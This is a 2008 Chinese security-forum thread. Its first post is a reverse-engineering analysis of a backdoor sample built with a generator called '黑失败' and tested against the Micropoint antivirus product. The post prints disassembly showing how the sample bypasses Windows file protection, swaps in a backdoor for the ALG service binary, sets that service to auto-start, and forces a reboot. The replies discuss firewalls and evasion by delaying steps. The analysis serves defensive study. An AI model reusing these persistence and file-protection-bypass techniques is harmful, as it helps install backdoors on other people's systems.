查看: 5318|回复: 18
收起左侧

[微点] 【黑失败】在"微点"面前果然很失败

[复制链接]
Nblock
发表于 2008-7-27 11:57:54 | 显示全部楼层 |阅读模式



   
好久不玩样本了,无聊去黑基转转,搞了一头“黑失败”的生成器下来,说明很强大,猜想它的蓝屏不是杀子系统就是winlogon,有损本本寿命,用重新启动生了一个,一看没壳,汇编写的。

  
004011BB          |. 8945 E8       mov dword ptr ss:[ebp-18],eax
004011BE          |. 53             push ebx                               ; /WideBufSize
004011BF          |. FF75 E8       push dword ptr ss:[ebp-18]             ; |WideCharBuf
004011C2          |. 6A FF          push -1                               ; |StringSize = FFFFFFFF (-1.)
004011C4          |. 68 84344000    push 复件_复?00403484                       ; |StringToMap = "C:\windows\system32\alg.exe"
004011C9          |. 6A 00          push 0                                   ; |Options = 0
004011CB          |. 6A 00          push 0                                   ; |CodePage = CP_ACP
004011CD          |. E8 4C030000    call <jmp.&kernel32.MultiByteToWideChar> ; \MultiByteToWideChar
004011D2          |. 68 2E344000    push 复件_复?0040342E                       ; /FileName = "sfc_os.dll"
004011D7          |. E8 2A030000    call <jmp.&kernel32.LoadLibraryA>        ; \LoadLibraryA
004011DC          |. 6A 05          push 5                                   ; /ProcNameOrOrdinal = #5
004011DE          |. 50             push eax                               ; |hModule
004011DF          |. E8 0A030000    call <jmp.&kernel32.GetProcAddress>    ; \GetProcAddress
004011E4          |. 8945 E4       mov dword ptr ss:[ebp-1C],eax
004011E7          |. 6A FF          push -1
004011E9          |. FF75 E8       push dword ptr ss:[ebp-18]
004011EC          |. 6A 00          push 0
004011EE          |. FF55 E4       call dword ptr ss:[ebp-1C]             ;调用SfcFileException对C:\windows\system32\alg.exe去除SFC保护

查找自身3E8资源,释放到%SystemRoot%\system32\目录下命名为DNA.dll,同理找资源7D0释放algdna.exe,接下来

00401343          |. 68 04010000    push 104                               ; /BufSize = 104 (260.)
00401348          |. 68 84344000    push 复件_复?00403484                       ; |Buffer = 复件_复?00403484
0040134D          |. E8 A2010000    call <jmp.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
00401352          |. 68 56344000    push 复件_复?00403456                       ; /StringToAdd = "\alg.exe"
00401357          |. 68 84344000    push 复件_复?00403484                       ; |ConcatString = "C:\windows\system32\alg.exe"
0040135C          |. E8 F3010000    call <jmp.&kernel32.lstrcatA>          ; \lstrcatA
00401361          |. 68 04010000    push 104                               ; /BufSize = 104 (260.)
00401366          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
0040136C          |. 50             push eax                               ; |Buffer
0040136D          |. E8 82010000    call <jmp.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
00401372          |. 68 5F344000    push 复件_复?0040345F                       ; /StringToAdd = "\sdk"
00401377          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
0040137D          |. 50             push eax                               ; |ConcatString
0040137E          |. E8 D1010000    call <jmp.&kernel32.lstrcatA>          ; \lstrcatA
00401383          |. 6A 01          push 1                                   ; /Flags = REPLACE_EXISTING
00401385          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
0040138B          |. 50             push eax                               ; |NewName,"C:\windows\system32\sdk"
0040138C          |. 68 84344000    push 复件_复?00403484                       ; |ExistingName = "C:\windows\system32\alg.exe"
00401391          |. E8 82010000    call <jmp.&kernel32.MoveFileExA>       ; \MoveFileExA,将alg.exe延时搬家到sdk
00401396          |. 6A 04          push 4                                   ; /Flags = DELAY_UNTIL_REBOOT
00401398          |. 6A 00          push 0                                   ; |NewName = NULL
0040139A          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
004013A0          |. 50             push eax                               ; |ExistingName,"C:\windows\system32\sdk"
004013A1          |. E8 72010000    call <jmp.&kernel32.MoveFileExA>       ; \MoveFileExA,延时拆房
004013A6          |. 68 04010000    push 104                               ; /BufSize = 104 (260.)
004013AB          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
004013B1          |. 50             push eax                               ; |Buffer
004013B2          |. E8 3D010000    call <jmp.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
004013B7          |. 68 64344000    push 复件_复?00403464                       ; /StringToAdd = "\algdna.exe"
004013BC          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
004013C2          |. 50             push eax                               ; |ConcatString
004013C3          |. E8 8C010000    call <jmp.&kernel32.lstrcatA>          ; \lstrcatA
004013C8          |. 6A 01          push 1                                   ; /Flags = REPLACE_EXISTING
004013CA          |. 68 84344000    push 复件_复?00403484                       ; |NewName = "C:\windows\system32\alg.exe"
004013CF          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
004013D5          |. 50             push eax                               ; |ExistingName,"C:\windows\system32\algdna.exe"
004013D6          |. E8 3D010000    call <jmp.&kernel32.MoveFileExA>       ; \MoveFileExA,把后门放到拆过房的地基上,重盖房?很勤劳!换个门不可以么?
004013DB          |. 68 04010000    push 104                               ; /BufSize = 104 (260.)
004013E0          |. 8D85 D0FDFFFF lea eax,dword ptr ss:[ebp-230]           ; |
004013E6          |. 50             push eax                               ; |PathBuffer
004013E7          |. 6A 00          push 0                                   ; |hModule = NULL
004013E9          |. E8 F4000000    call <jmp.&kernel32.GetModuleFileNameA> ; \GetModuleFileNameA
004013EE          |. 6A 04          push 4                                   ; /Flags = DELAY_UNTIL_REBOOT
004013F0          |. 6A 00          push 0                                   ; |NewName = NULL
004013F2          |. 8D85 D0FDFFFF lea eax,dword ptr ss:[ebp-230]           ; |
004013F8          |. 50             push eax                               ; |ExistingName,"C:\~~\黑失败2008 SP2正式版\复件 复件 客户端.exe"
004013F9          |. E8 1A010000    call <jmp.&kernel32.MoveFileExA>       ; \MoveFileExA,喝慢性毒药

然后

004013FE          |. 68 3F000F00    push 0F003F
00401403          |. 6A 00          push 0
00401405          |. 6A 00          push 0
00401407          |. E8 A6000000    call <jmp.&advapi32.OpenSCManagerA>
0040140C          |. 8BD8          mov ebx,eax
0040140E          |. 68 FF010F00    push 0F01FF
00401413          |. 68 70344000    push 客户端.00403470                      ; ASCII "ALG"
00401418          |. 53             push ebx
00401419          |. E8 9A000000    call <jmp.&advapi32.OpenServiceA>       ;打开ALG服务
0040141E          |. 8BF8          mov edi,eax
00401420          |. 53             push ebx
00401421          |. E8 7A000000    call <jmp.&advapi32.CloseServiceHandle>
00401426          |. 68 04010000    push 104                               ; /Length = 104 (260.)
0040142B          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
00401431          |. 50             push eax                               ; |Destination
00401432          |. E8 05010000    call <jmp.&kernel32.RtlZeroMemory>    ; \RtlZeroMemory
00401437          |. 6A 00          push 0                                   ; /DisplayName = NULL
00401439          |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C]           ; |
0040143F          |. 50             push eax                               ; |Password
00401440          |. 68 74344000    push 客户端.00403474                      ; |ServiceStartName = "LocalSystem"
00401445          |. 6A 00          push 0                                   ; |pDependencies = NULL
00401447          |. 6A 00          push 0                                   ; |pTagId = NULL
00401449          |. 6A 00          push 0                                   ; |LoadOrderGroup = NULL
0040144B          |. 6A 00          push 0                                   ; |BinaryPathName = NULL
0040144D          |. 6A FF          push -1                               ; |ErrorControl = SERVICE_NO_CHANGE
0040144F          |. 6A 02          push 2                                   ; |StartType = SERVICE_AUTO_START,改变服务启动类型为自动,之前为手动
00401451          |. 68 20010000    push 120                               ; |ServiceType = SERVICE_WIN32_SHARE_PROCESS|SERVICE_INTERACTIVE_PROCESS
00401456          |. 57             push edi                               ; |hService
00401457          |. E8 3E000000    call <jmp.&advapi32.ChangeServiceConfigA>; \ChangeServiceConfigA
0040145C          |. 57             push edi
0040145D          |. E8 3E000000    call <jmp.&advapi32.CloseServiceHandle>

最后拿到自杀令牌准备开机后自杀,^_^

004010BC       /$ 55             push ebp
004010BD       |. 8BEC          mov ebp,esp
004010BF       |. 83C4 EC       add esp,-14
004010C2       |. 8D4D FC       lea ecx,dword ptr ss:[ebp-4]
004010C5       |. E8 12040000    call <jmp.&kernel32.GetCurrentProcess>             ; [GetCurrentProcess
004010CA       |. 51             push ecx                                           ; /phToken
004010CB       |. 68 FF010F00    push 0F01FF                                        ; |DesiredAccess = STANDARD_RIGHTS_REQUIRED|TOKEN_ASSIGN_PRIMARY|TOKEN_DUPLICATE|TOKEN_IMPERSONATE|TOKEN_QUERY|TOKEN_QUERY_SOURCE|TOKEN_ADJUST_PRIVILEGES|TOKEN_ADJUST_GROUPS|TOKEN_ADJUST_DEFAULT|100
004010D0       |. 50             push eax                                           ; |hProcess
004010D1       |. E8 D6030000    call <jmp.&advapi32.OpenProcessToken>                 ; \OpenProcessToken
004010D6       |. C745 EC 01000000 mov dword ptr ss:[ebp-14],1
004010DD       |. 8D45 F0       lea eax,dword ptr ss:[ebp-10]
004010E0       |. 50             push eax                                           ; /pLocalId
004010E1       |. 68 00344000    push 客户端.00403400                                  ; |Privilege = "SeShutdownPrivilege"
004010E6       |. 6A 00          push 0                                              ; |SystemName = NULL
004010E8       |. E8 B9030000    call <jmp.&advapi32.LookupPrivilegeValueA>          ; \LookupPrivilegeValueA
004010ED       |. C745 F8 02000000 mov dword ptr ss:[ebp-8],2
004010F4       |. 6A 00          push 0                                              ; /pRetLen = NULL
004010F6       |. 6A 00          push 0                                              ; |pPrevState = NULL
004010F8       |. 6A 10          push 10                                               ; |PrevStateSize = 10 (16.)
004010FA       |. 8D45 EC       lea eax,dword ptr ss:[ebp-14]                      ; |
004010FD       |. 50             push eax                                           ; |pNewState
004010FE       |. 6A 00          push 0                                              ; |DisableAllPrivileges = FALSE
00401100       |. FF75 FC       push dword ptr ss:[ebp-4]                             ; |hToken
00401103       |. E8 8C030000    call <jmp.&advapi32.AdjustTokenPrivileges>          ; \AdjustTokenPrivileges
00401108       |. 50             push eax
00401109       |. FF75 FC       push dword ptr ss:[ebp-4]                             ; /hObject
0040110C       |. E8 AD030000    call <jmp.&kernel32.CloseHandle>                   ; \CloseHandle

创建自杀条件

00401462          |. E8 55FCFFFF    call 客户端.004010BC
00401467          |. 6A 00          push 0                                   ; /Reserved = 0
00401469          |. 6A 02          push 2                                   ; |Options = EWX_REBOOT
0040146B          |. E8 1E000000    call <jmp.&user32.ExitWindowsEx>       ; \ExitWindowsEx

总之很好很强大,在微点面前不愧为“黑失败”,只有自杀功能完成了,也就是前面代码为什么会以复件方式出现的原因了。微点两次报警全部放过,房子吔拆了,只不过拆的不是很高名,自杀水平倒是不错,重启后一个病毒进程都没发现,原因见微点日志,^_^。



BY::unknown author


[ 本帖最后由 Nblock 于 2008-7-27 17:15 编辑 ]

评分

参与人数 1经验 +3 收起 理由
polly5771 + 3 加分鼓励

查看全部评分

killerwhale
发表于 2008-7-27 12:38:37 | 显示全部楼层
呃……  好像再次证明了http://bbs.kafan.cn/thread-293013-1-1.html这个帖子好像有些不完善的地方
hao198411
发表于 2008-7-27 13:25:52 | 显示全部楼层
那个帖子是人家随手写的···大家看看罢了
kuririn
发表于 2008-7-27 13:33:03 | 显示全部楼层
原帖由 killerwhale 于 2008-7-27 12:38 发表
呃……  好像再次证明了http://bbs.kafan.cn/thread-293013-1-1.html这个帖子好像有些不完善的地方


http://bbs.kafan.cn/viewthread.php?tid=293013&page=5#pid4252153
killerwhale
发表于 2008-7-27 13:50:56 | 显示全部楼层
原帖由 kuririn 于 2008-7-27 13:33 发表


http://bbs.kafan.cn/viewthread.php?tid=293013&page=5#pid4252153



抱歉   我不明白您是什么意思
我说的不完善是指偷梁换柱alg.exe这一步微点不可能不报警     所以根本没有必要考虑新的alg.exe能否过微点的防火墙的问题
至于说每个步骤延时3秒钟……   呵呵   没有了解过微点的判断原理      但是这样的话  微点的免杀是否也太好做了   只要把每一步动作延时就好了……   汗一个
至于你跟局长讨论的防火墙问题……  我认为大多数人用的防火墙(就是在卡饭开坛的)  简单替换后的文件不被拦截是不可能的   但是至于微点的防火墙拦不拦我没有测试过   所以不敢妄加评论   而且用微点不搭配其他防火墙的几乎没有人吧……

[ 本帖最后由 killerwhale 于 2008-7-27 14:12 编辑 ]
股林小弟
发表于 2008-7-27 13:56:05 | 显示全部楼层

回复 5楼 killerwhale 的帖子

我就用微点的墙的,个人用户没有那么危险吧
lonbug
发表于 2008-7-27 13:57:52 | 显示全部楼层
过来瞧瞧看
killerwhale
发表于 2008-7-27 15:01:30 | 显示全部楼层

回复 6楼 股林小弟 的帖子

个人用户首要做好的是打全系统补丁
要不是资源特别紧张推荐还是换一些比较专业的防火墙  如OP 风云
wwzh2003
发表于 2008-7-27 15:34:13 | 显示全部楼层
我用的风云,发现网速比以前用微点5墙时好一些
fengyifan
发表于 2008-7-27 15:37:51 | 显示全部楼层
我是菜鸟看不明白啊
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-6-21 05:09 , Processed in 0.147143 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表